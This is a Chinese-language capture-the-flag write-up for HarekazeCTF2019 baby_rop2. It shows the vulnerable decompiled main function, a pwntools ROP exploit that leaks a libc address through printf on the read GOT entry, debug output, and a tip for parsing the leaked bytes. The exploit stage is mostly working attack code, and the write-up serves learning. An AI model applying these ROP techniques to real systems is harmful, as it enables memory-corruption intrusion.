主要记录一下recv后的处理以及一个特殊情况 题目很简单就是个libc泄漏
[Libc泄漏]HarekazeCTF2019_baby_rop2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[28]; // [rsp+0h] [rbp-20h] int v6; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("What's your name? ", 0LL); v3 = read(0, buf, 0x100uLL); v6 = v3; buf[v3 - 1] = 0; printf("Welcome to the Pwn World again, %s!\\\\n", buf); return 0; }
|
题目是这样的 很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import * sh = process('./babyrop2') #sh = remote('node4.buuoj.cn',26141) elf = ELF('./babyrop2') context.log_level = 'debug' #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] #gdb.attach(sh,'break *0x40069A') printf_plt = elf.plt['printf'] read_got = elf.got['read']
main = 0x400636 pop_rdi_ret = 0x400733 pop_rsi_r15_ret = 0x400731
payload = 'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(0x400770) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main) sh.sendlineafter("What's your name?",payload) print sh.recv()
|
但是如果exp这样写的话 啥都收不到 应该是有个莫名其妙的换行符在
1 2 3 4 5 6 7 8 9 10 11 12 13
| sh.recvuntil('\\\\n') print sh.recv()
[DEBUG] Received 0x67 bytes: 00000000 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 20 50 │Welc│ome │to t│he P│ 00000010 77 6e 20 57 6f 72 6c 64 20 61 67 61 69 6e 2c 20 │wn W│orld│ aga│in, │ 00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 21 0a 57 │aaaa│aaaa│aaaa│a!·W│ 00000040 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 20 50 77 │elco│me t│o th│e Pw│ 00000050 6e 20 57 6f 72 6c 64 20 61 67 61 69 6e 2c 20 f0 │n Wo│rld │agai│n, ·│ 00000060 2f 66 a7 cc 7f 21 0a │/f··│·!·│ 00000067 Welcome to the Pwn World again, �/f��!
|
结合题目 结尾一个叹号一个换行符 看似麻烦 其实我们知道我们所需的地址开头是0x7f 那么可以从0x7f开始往回6个
1
| read_addr = u64(sh.recvuntil(b'\\\\x7f')[-6:].ljust(8,'\\\\0'))
|
不过注意此时是recvuntil 另外还有一个玄学问题 这题用的printf打印got表需要加个参数%s 不然跑不通 于是借了一下main里的那句话